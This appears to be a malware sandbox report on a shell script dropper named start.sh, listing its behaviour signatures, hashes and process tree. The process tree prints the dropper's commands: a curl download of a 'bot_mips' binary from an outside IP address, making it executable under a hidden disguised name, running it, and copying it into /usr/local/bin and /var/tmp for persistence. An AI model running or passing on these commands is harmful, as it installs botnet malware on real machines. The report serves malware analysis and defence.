Overview

overview

7

Static

static

1

start.sh

ubuntu-18.04-amd64

7

start.sh

debian-9-armhf

7

start.sh

debian-9-mips

7

start.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01/06/2026, 12:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    start.sh
  • Size 2KB
  • Sample260601-phf55adv7l
  • SHA256 2d26b804e3c1f12adc4cde17b83fffde4a2e0cfbbeeab23e39d0362a406ad1f8
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscoverypersistence

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Write file to user bin folder 1 IoCs
    persistence
  • Changes its process name 1 IoCs
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
    • Executes dropped EXE
    PID:711
    • /bin/rm
      rm -f /tmp/start.sh
      2⤵
        PID:714
      • /bin/uname
        uname -m
        2⤵
          PID:716
        • /bin/date
          date "+%s"
          2⤵
            PID:719
          • /usr/bin/curl
            curl -fsSL http://80.94.92.170:80/bot_mips -o ./.sys_cache_1780310220
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:721
          • /bin/chmod
            chmod +x ./.sys_cache_1780310220
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/.sys_cache_1780310220
            ./.sys_cache_1780310220
            2⤵
            • Changes its process name
            • Reads runtime system information
            PID:737
            • /bin/sh
              sh -c "cp -f /tmp/.sys_cache_1780310220 /usr/local/bin/containerq 2>/dev/null"
              3⤵
                PID:741
                • /bin/cp
                  cp -f /tmp/.sys_cache_1780310220 /usr/local/bin/containerq
                  4⤵
                  • Write file to user bin folder
                  • Reads runtime system information
                  PID:742
              • /bin/sh
                sh -c "cp -f /tmp/.sys_cache_1780310220 /var/tmp/.containerq 2>/dev/null"
                3⤵
                  PID:743
                  • /bin/cp
                    cp -f /tmp/.sys_cache_1780310220 /var/tmp/.containerq
                    4⤵
                    • Reads runtime system information
                    PID:744

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  .sys_cache_1780310220
                  • Path /tmp/.sys_cache_1780310220
                  • Size 110KB
                  • SHA256 46fc3e400cca882f63316e18bfeb2a6dd3acd9f76f47721f4362b914a3a6744b
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download